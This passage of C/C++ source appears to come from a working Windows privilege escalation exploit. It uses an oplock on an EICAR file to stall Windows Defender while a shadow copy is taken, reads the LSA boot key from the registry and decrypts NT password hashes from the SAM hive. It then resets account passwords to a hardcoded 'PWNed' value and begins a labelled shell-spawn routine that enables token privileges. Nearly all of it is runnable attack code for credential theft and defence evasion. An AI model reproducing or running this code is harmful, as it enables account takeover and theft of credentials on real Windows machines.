|
// trigger wd for action
|
|
trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (trigger && trigger != INVALID_HANDLE_VALUE)
|
|
CloseHandle(trigger);
|
|
|
|
printf("Waiting for oplock to trigger...\n");
|
|
GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
|
|
printf("Oplock triggered.\n");
|
|
|
|
if (!GetExitCodeThread(hthread, &exitcode))
|
|
{
|
|
printf("Unexpected error while getting worker thread exit code");
|
|
retval = false;
|
|
goto cleanup;
|
|
}
|
|
if (exitcode)
|
|
{
|
|
printf("Failed to get new volume shadow copy path");
|
|
retval = false;
|
|
goto cleanup;
|
|
|
|
}
|
|
|
|
|
|
cldthreadargs.hcleanupevent = hreleaseevent;
|
|
cldthreadargs.hlock = hlock;
|
|
cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
|
|
hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid);
|
|
if (!hthread2) {
|
|
printf("Unable to create worker thread, error : %d", GetLastError());
|
|
retval = false;
|
|
goto cleanup;
|
|
}
|
|
|
|
|
|
|
|
hobj[0] = hthread2;
|
|
hobj[1] = cldthreadargs.hvssready;
|
|
waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE);
|
|
|
|
if (waitres - WAIT_OBJECT_0 == 0)
|
|
{
|
|
printf("Unable to freeze WD, thread exited prematurely.\n");
|
|
retval = false;
|
|
}
|
|
|
|
cleanup:
|
|
|
|
|
|
if (hthread)
|
|
CloseHandle(hthread);
|
|
if(hthread2)
|
|
CloseHandle(hthread2);
|
|
if(cldthreadargs.hvssready)
|
|
CloseHandle(cldthreadargs.hvssready);
|
|
if (ovd.hEvent)
|
|
CloseHandle(ovd.hEvent);
|
|
if (hfile)
|
|
CloseHandle(hfile);
|
|
if (dircreated)
|
|
RemoveDirectory(workdir);
|
|
|
|
return retval;
|
|
|
|
|
|
|
|
}
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Volume shadow copy functions end
|
|
/////////////////////////////////////////////////////////////////////
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// SAM handling start
|
|
/////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
#define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc
|
|
#define SAM_DATABASE_USERNAME_OFFSET 0x0c
|
|
#define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10
|
|
#define SAM_DATABASE_LM_HASH_OFFSET 0x9c
|
|
#define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0
|
|
#define SAM_DATABASE_NT_HASH_OFFSET 0xa8
|
|
#define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac
|
|
|
|
struct PwdEnc
|
|
{
|
|
char* buff;
|
|
size_t sz;
|
|
wchar_t* username;
|
|
ULONG usernamesz;
|
|
char* LMHash;
|
|
ULONG LMHashLenght;
|
|
char* NTHash;
|
|
ULONG NTHashLenght;
|
|
ULONG rid;
|
|
|
|
};
|
|
|
|
|
|
NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted);
|
|
NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle);
|
|
NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle);
|
|
NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle);
|
|
NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM);
|
|
|
|
|
|
|
|
void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) {
|
|
size_t len = strlen(hex_string);
|
|
if (len % 2 != 0) {
|
|
fprintf(stderr, "Error: Hex string length must be even.\n");
|
|
return;
|
|
}
|
|
|
|
size_t byte_len = len / 2;
|
|
if (byte_len > max_len) {
|
|
fprintf(stderr, "Error: Output buffer too small.\n");
|
|
return;
|
|
}
|
|
|
|
for (size_t i = 0; i < byte_len; i++) {
|
|
// Read two hex characters and convert them to an unsigned int
|
|
unsigned int byte_val;
|
|
if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) {
|
|
fprintf(stderr, "Error: Invalid hex character in string.\n");
|
|
return;
|
|
}
|
|
byte_array[i] = (unsigned char)byte_val;
|
|
}
|
|
}
|
|
|
|
bool GetLSASecretKey(unsigned char bootkeybytes[16])
|
|
{
|
|
|
|
const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} };
|
|
int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 };
|
|
|
|
|
|
//ORHKEY hlsa = NULL;
|
|
HKEY hlsa = NULL;
|
|
DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa);
|
|
char data[0x1000] = { 0 };
|
|
DWORD index = 0;
|
|
for (const wchar_t* keyname : keynames)
|
|
{
|
|
DWORD retsz = sizeof(data) / sizeof(char);
|
|
HKEY hbootkey = NULL;
|
|
err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey);
|
|
|
|
err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
|
index += retsz;
|
|
RegCloseKey(hbootkey);
|
|
}
|
|
//printf("%s\n", data);
|
|
RegCloseKey(hlsa);
|
|
|
|
if (strlen(data) < 16)
|
|
{
|
|
printf("Boot key mismatch.");
|
|
return 1;
|
|
}
|
|
|
|
// convert hex string to binary
|
|
unsigned char keybytes[16] = { 0 };
|
|
hex_string_to_bytes(data, keybytes, 16);
|
|
|
|
|
|
|
|
for (int i = 0; i < sizeof(keybytes); i++)
|
|
{
|
|
|
|
bootkeybytes[i] = keybytes[indices[i]];
|
|
}
|
|
return true;
|
|
|
|
}
|
|
|
|
void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen)
|
|
{
|
|
|
|
char* decrypted = (char*)malloc(enclen);
|
|
memmove(decrypted, hashdata, enclen);
|
|
HCRYPTPROV hprov = NULL;
|
|
|
|
CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
|
|
|
|
struct aes128keyBlob
|
|
{
|
|
BLOBHEADER hdr;
|
|
DWORD keySize;
|
|
BYTE bytes[16];
|
|
} blob;
|
|
|
|
blob.hdr.bType = PLAINTEXTKEYBLOB;
|
|
blob.hdr.bVersion = CUR_BLOB_VERSION;
|
|
blob.hdr.reserved = 0;
|
|
blob.hdr.aiKeyAlg = CALG_AES_128;
|
|
blob.keySize = 16;
|
|
memmove(blob.bytes, lsaKey, 16);
|
|
HCRYPTKEY hcryptkey = NULL;
|
|
CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey);
|
|
|
|
DWORD mode = CRYPT_MODE_CBC;
|
|
CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL);
|
|
|
|
CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
|
|
|
|
DWORD retsz = enclen;
|
|
|
|
CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
|
|
|
|
|
|
/*
|
|
EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();
|
|
|
|
int fulllen = 0;
|
|
int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv);
|
|
if (!retval)
|
|
return NULL;
|
|
|
|
//int decryptedsz = enclen;
|
|
retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen);
|
|
if (!retval)
|
|
return NULL;
|
|
retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen);
|
|
EVP_CIPHER_CTX_free(en);
|
|
if (!retval)
|
|
return NULL;
|
|
*/
|
|
if (decryptedlen)
|
|
*decryptedlen = retsz;
|
|
|
|
return decrypted;
|
|
|
|
}
|
|
|
|
#ifndef SHA256_DIGEST_LENGTH
|
|
#define SHA256_DIGEST_LENGTH 32
|
|
#endif
|
|
|
|
bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH])
|
|
{
|
|
|
|
|
|
char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH);
|
|
ZeroMemory(data2, SHA256_DIGEST_LENGTH);
|
|
HCRYPTPROV hprov = NULL;
|
|
CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
|
|
HCRYPTHASH Hhash = NULL;
|
|
CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash);
|
|
CryptHashData(Hhash, (const BYTE*)data, size, NULL);
|
|
DWORD md_len = 0;
|
|
DWORD inputsz = sizeof(md_len);
|
|
CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
|
|
//inputsz = size;
|
|
CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL);
|
|
|
|
CryptDestroyHash(Hhash);
|
|
CryptReleaseContext(hprov, NULL);
|
|
/*
|
|
EVP_MD_CTX* en = EVP_MD_CTX_new();
|
|
|
|
bool retval = EVP_DigestInit(en, EVP_sha256());
|
|
if (!retval)
|
|
return retval;
|
|
retval = EVP_DigestUpdate(en, data, size);
|
|
if (!retval)
|
|
return retval;
|
|
EVP_DigestFinal(en, (unsigned char*)hashout, NULL);
|
|
*/
|
|
//return retval;
|
|
return true;
|
|
|
|
|
|
|
|
}
|
|
|
|
void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz)
|
|
{
|
|
|
|
int hashlen = data[0];
|
|
int enclen = data[4];
|
|
|
|
char iv[16] = { 0 };
|
|
memmove(iv, &data[8], sizeof(iv));
|
|
|
|
char* cyphertext = (char*)malloc(enclen);
|
|
memmove(cyphertext, &data[0x18], enclen);
|
|
|
|
// first arg, lsaKey | second arg, iv | thid arg, ciphertext
|
|
int outsz = 0;
|
|
int pekoutsz = 0;
|
|
char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz);
|
|
|
|
char* hashdata = (char*)malloc(hashlen);
|
|
memmove(hashdata, &data[0x18 + enclen], hashlen);
|
|
|
|
char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz);
|
|
|
|
|
|
char hash256[SHA256_DIGEST_LENGTH];
|
|
|
|
if (!ComputeSHA256(pek, pekoutsz, hash256))
|
|
{
|
|
return NULL;
|
|
}
|
|
|
|
if (memcmp(hash256, hash, sizeof(hash256)) != 0)
|
|
{
|
|
printf("Invalid AES password key.\n");
|
|
return NULL;
|
|
}
|
|
if (keysz)
|
|
*keysz = sizeof(hash256);
|
|
|
|
|
|
return pek;
|
|
|
|
}
|
|
|
|
void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz)
|
|
{
|
|
|
|
int enctype = samKey[0x68];
|
|
if (enctype == 2) {
|
|
int endofs = samKey[0x6c] + 0x68;
|
|
int len = endofs - 0x70;
|
|
|
|
char* data = (char*)malloc(len);
|
|
memmove(data, &samKey[0x70], len);
|
|
void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz);
|
|
|
|
return retval;
|
|
}
|
|
__debugbreak();
|
|
return NULL;
|
|
|
|
}
|
|
|
|
void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz)
|
|
{
|
|
int length = data[4];
|
|
if (!length)
|
|
return NULL;
|
|
char iv[16] = { 0 };
|
|
memmove(iv, &data[8], sizeof(iv));
|
|
|
|
int ciphertextsz = datasz - 24;
|
|
char* ciphertext = (char*)malloc(ciphertextsz);
|
|
memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz);
|
|
return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz);
|
|
}
|
|
|
|
void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz)
|
|
{
|
|
int enctype = data[2];
|
|
|
|
switch (enctype)
|
|
{
|
|
case 2:
|
|
|
|
return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz);
|
|
|
|
break;
|
|
default:
|
|
__debugbreak();
|
|
break;
|
|
}
|
|
|
|
return NULL;
|
|
|
|
|
|
}
|
|
|
|
void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz)
|
|
{
|
|
|
|
char* ciphertext2 = (char*)malloc(ciphertextsz);
|
|
memmove(ciphertext2, ciphertext, ciphertextsz);
|
|
HCRYPTPROV hprov = NULL;
|
|
CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
|
|
|
|
struct deskeyBlob
|
|
{
|
|
BLOBHEADER hdr;
|
|
DWORD keySize;
|
|
BYTE bytes[8];
|
|
}blob;
|
|
//deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz);
|
|
blob.hdr.bType = PLAINTEXTKEYBLOB;
|
|
blob.hdr.bVersion = CUR_BLOB_VERSION;
|
|
blob.hdr.reserved = 0;
|
|
blob.hdr.aiKeyAlg = CALG_DES;
|
|
blob.keySize = 8;
|
|
memmove(blob.bytes, key, 8);
|
|
HCRYPTKEY hcryptkey = NULL;
|
|
CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey);
|
|
|
|
DWORD mode = CRYPT_MODE_ECB;
|
|
CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
|
|
|
|
DWORD retsz = ciphertextsz;
|
|
|
|
CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz);
|
|
|
|
if (outsz)
|
|
*outsz = 8;
|
|
|
|
//printf("GetLastError : %x\n", GetLastError());
|
|
CryptReleaseContext(hprov, NULL);
|
|
return ciphertext2;
|
|
|
|
/*
|
|
DWORD mode = CRYPT_MODE_ECB;
|
|
CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
|
|
printf("GetLastError : %x\n", GetLastError());
|
|
|
|
DWORD retsz = enclen;
|
|
|
|
CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
|
|
printf("GetLastError : %x\n", GetLastError());
|
|
*/
|
|
/*
|
|
OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy");
|
|
if (legacy == NULL)
|
|
{
|
|
printf("Failed to load Legacy provider\n");
|
|
}
|
|
|
|
EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();
|
|
|
|
int fulllen = 0;
|
|
int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL);
|
|
|
|
char* plaintext = (char*)malloc(ciphertextsz);
|
|
int _outsz = 0;
|
|
retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz);
|
|
int _outlen = 0;
|
|
retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen);
|
|
|
|
if (outsz)
|
|
*outsz = _outsz;
|
|
|
|
return plaintext;
|
|
*/
|
|
}
|
|
|
|
char* DeriveDESKey(char data[7])
|
|
{
|
|
|
|
|
|
union keyderv {
|
|
struct {
|
|
char arr[8];
|
|
};
|
|
SIZE_T derv;
|
|
};
|
|
keyderv ttv = { 0 };
|
|
ZeroMemory(ttv.arr, sizeof(ttv.arr));
|
|
memmove(ttv.arr, data, sizeof(data) - 1);
|
|
SIZE_T k = ttv.derv;
|
|
|
|
|
|
char* key = (char*)malloc(sizeof(data));
|
|
|
|
for (int i = 0; i < 8; i++)
|
|
{
|
|
int j = 7 - i;
|
|
int curr = (k >> (7 * j)) & 0x7F;
|
|
int b = curr;
|
|
b ^= b >> 4;
|
|
b ^= b >> 2;
|
|
b ^= b >> 1;
|
|
int keybyte = (curr << 1) ^ (b & 1) ^ 1;
|
|
key[i] = (char)keybyte;
|
|
}
|
|
return key;
|
|
}
|
|
|
|
void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid)
|
|
{
|
|
|
|
union keydata {
|
|
struct {
|
|
char a;
|
|
char b;
|
|
char c;
|
|
char d;
|
|
};
|
|
ULONG data;
|
|
};
|
|
|
|
keydata keycontent = { 0 };
|
|
keycontent.data = rid;
|
|
char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a };
|
|
char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d };
|
|
|
|
char* rkey1 = DeriveDESKey(key1);
|
|
char* rkey2 = DeriveDESKey(key2);
|
|
|
|
|
|
int plaintext1sz = 0;
|
|
int plaintext2sz = 0;
|
|
char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz);
|
|
if (!plaintext1)
|
|
return NULL;
|
|
char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz);
|
|
if (!plaintext2)
|
|
return NULL;
|
|
void* retval = malloc(plaintext1sz + plaintext2sz);
|
|
|
|
memmove(retval, plaintext1, plaintext1sz);
|
|
memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz);
|
|
if (outsz)
|
|
*outsz = plaintext1sz + plaintext2sz;
|
|
return retval;
|
|
}
|
|
|
|
void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid)
|
|
{
|
|
int _outsz = 0;
|
|
void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz);
|
|
if (!dec)
|
|
return NULL;
|
|
int _hashoutsz = 0;
|
|
void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid);
|
|
if (outsz)
|
|
*outsz = _hashoutsz;
|
|
return _hash;
|
|
}
|
|
|
|
unsigned char* HexToHexString(unsigned char* data, int size)
|
|
{
|
|
unsigned char* retval = (unsigned char*)malloc(size * 2 + 1);
|
|
ZeroMemory(retval, size + 1);
|
|
for (int i = 0; i < size; i++)
|
|
{
|
|
sprintf((char*)&retval[i * 2], "%02x", data[i]);
|
|
}
|
|
|
|
return retval;
|
|
}
|
|
|
|
|
|
char* CalculateNTLMHash(char* _input)
|
|
{
|
|
|
|
int pw_len = strlen(_input);
|
|
char* input = new char[pw_len * 2];
|
|
for (int i = 0; i < pw_len; i++)
|
|
{
|
|
input[i * 2] = _input[i];
|
|
input[i * 2 + 1] = '\0';
|
|
}
|
|
|
|
|
|
unsigned int md_len = 0;
|
|
|
|
HCRYPTPROV hprov = NULL;
|
|
|
|
CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
|
|
|
|
HCRYPTHASH Hhash = NULL;
|
|
CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash);
|
|
|
|
CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL);
|
|
|
|
DWORD inputsz = sizeof(md_len);
|
|
CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
|
|
unsigned char* md_value = (unsigned char*)malloc(md_len);
|
|
inputsz = md_len;
|
|
CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL);
|
|
|
|
CryptDestroyHash(Hhash);
|
|
CryptReleaseContext(hprov, NULL);
|
|
/*
|
|
EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
|
|
EVP_DigestInit_ex(mdctx, EVP_md4(), NULL);
|
|
EVP_DigestUpdate(mdctx, input, pw_len * 2);
|
|
EVP_DigestFinal_ex(mdctx, md_value, &md_len);
|
|
EVP_MD_CTX_free(mdctx);
|
|
*/
|
|
/*
|
|
printf("Digest is: ");
|
|
for (int i = 0; i < md_len; i++)
|
|
printf("%02x", md_value[i]);
|
|
printf("\n");
|
|
*/
|
|
return (char*)md_value;
|
|
|
|
}
|
|
bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL)
|
|
{
|
|
|
|
wchar_t libpath[MAX_PATH] = { 0 };
|
|
ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH);
|
|
|
|
HMODULE hm = LoadLibrary(libpath);
|
|
if (!hm)
|
|
{
|
|
printf("Failed to load samlib.dll\n");
|
|
return false;
|
|
}
|
|
NTSTATUS(WINAPI * _SamConnect)
|
|
(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect");
|
|
NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle");
|
|
NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle)
|
|
= (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain");
|
|
NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser");
|
|
NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser");
|
|
|
|
|
|
if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser)
|
|
{
|
|
printf("Failed to import required functions from samlib.dll\n");
|
|
return false;
|
|
}
|
|
|
|
HANDLE hsrv = NULL;
|
|
NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false);
|
|
if (stat)
|
|
{
|
|
printf("Failed to connect to SAM, error : 0x%0.8X\n", stat);
|
|
return false;
|
|
}
|
|
//printf("Connected to local SAM.\n");
|
|
LSA_OBJECT_ATTRIBUTES loa = { 0 };
|
|
LSA_HANDLE hlsa = NULL;
|
|
stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa);
|
|
if (stat)
|
|
{
|
|
printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat);
|
|
return false;
|
|
}
|
|
|
|
POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0;
|
|
stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo);
|
|
if (stat)
|
|
{
|
|
printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat);
|
|
return false;
|
|
}
|
|
/*wchar_t* stringsid = 0;
|
|
if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid))
|
|
{
|
|
printf("Failed to get string sid, error : %d\n", GetLastError());
|
|
return false;
|
|
}
|
|
printf("Machine SID : %ws\n", stringsid);*/
|
|
LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0;
|
|
LSA_TRANSLATED_SID* lsatrans = 0;
|
|
LSA_UNICODE_STRING lsaunistr = { 0 };
|
|
RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username);
|
|
stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans);
|
|
if (stat)
|
|
{
|
|
printf("LsaLookupNames failed, error : 0x%0.8X\n", stat);
|
|
return false;
|
|
}
|
|
LsaClose(hlsa);
|
|
|
|
HANDLE hdomain = NULL;
|
|
stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain);
|
|
if (stat)
|
|
{
|
|
printf("SamOpenDomain failed, error : 0x%0.8X\n", stat);
|
|
return false;
|
|
}
|
|
|
|
HANDLE huser = NULL;
|
|
stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser);
|
|
if (stat)
|
|
{
|
|
printf("SamOpenUser failed, error : 0x%0.8X\n", stat);
|
|
return false;
|
|
}
|
|
|
|
//char password[] = "testp";
|
|
//char* oldNTLM = CalculateNTLMHash((char*)"testp");
|
|
char* oldNTLM = (char*)nthash;
|
|
char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword);
|
|
|
|
char oldLm[16] = { 0 };
|
|
char newLm[16] = { 0 };
|
|
stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM);
|
|
|
|
if (stat)
|
|
{
|
|
printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat);
|
|
return false;
|
|
}
|
|
_SamCloseHandle(huser);
|
|
_SamCloseHandle(hdomain);
|
|
_SamCloseHandle(hsrv);
|
|
/*
|
|
if (newpassword) {
|
|
printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword);
|
|
}
|
|
else {
|
|
printf("Info : user \"%ws\" password has been changed back to older password\n", username);
|
|
}
|
|
*/
|
|
return true;
|
|
}
|
|
//////////////////////////////////////////////////////////////////////
|
|
// SAM handling end
|
|
/////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Exploit shell spawn start
|
|
/////////////////////////////////////////////////////////////////////
|
|
BOOL SetPrivilege(
|
|
HANDLE hToken, // access token handle
|
|
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
|
|
BOOL bEnablePrivilege // to enable or disable privilege
|
|
)
|
|
{
|
|
TOKEN_PRIVILEGES tp;
|
|
LUID luid;
|
|
|
|
if (!LookupPrivilegeValue(
|
|
NULL, // lookup privilege on local system
|
|
lpszPrivilege, // privilege to lookup
|
|
&luid)) // receives LUID of privilege
|
|
{
|
|
printf("LookupPrivilegeValue error: %u\n", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
tp.PrivilegeCount = 1;
|
|
tp.Privileges[0].Luid = luid;
|
|
if (bEnablePrivilege)
|
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
else
|
|
tp.Privileges[0].Attributes = 0;
|
|
|
|
// Enable the privilege or disable all privileges.
|
|
|
|
if (!AdjustTokenPrivileges(
|
|
hToken,
|
|
FALSE,
|
|
&tp,
|
|
0,
|
|
(PTOKEN_PRIVILEGES)NULL,
|
|
(PDWORD)NULL))
|
|
{
|
|
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
|
|
|
|
{
|
|
printf("The token does not have the specified privilege. \n");
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
|
|
bool DoSpawnShellAsAllUsers(HANDLE samfile)
|
|
{
|
|
//SSL_library_init();
|
|
//SSL_load_error_strings();
|
|
char newpassword[] = "$PWNed666!!!WDFAIL";
|
|
wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL";
|
|
char* newNTLM = CalculateNTLMHash(newpassword);
|
|
bool isadmin = false;
|
|
char* retval = 0;
|
|
ORHKEY hSAMhive = NULL;
|
|
ORHKEY hSYSTEMhive = NULL;
|
|
DWORD err = OROpenHiveByHandle(samfile, &hSAMhive);
|
|
|
|
bool systemshelllaunched = false;
|
|
if (err)
|
|
{
|
|
printf("OROpenHive failed with error : %d\n", err);
|
|
return false;
|
|
}
|
|
|
|
unsigned char lsakey[16] = { 0 };
|
|
|
|
if (!GetLSASecretKey(lsakey))
|
|
{
|
|
printf("Failed to dump LSA secret keys.\n");
|
|
return false;
|
|
}
|
|
|
|
|
|
ORHKEY hkey = NULL;
|
|
err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey);
|
|
|
|
DWORD valuesz = 0;
|
|
err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz);
|
|
if (err)
|
|
{
|
|
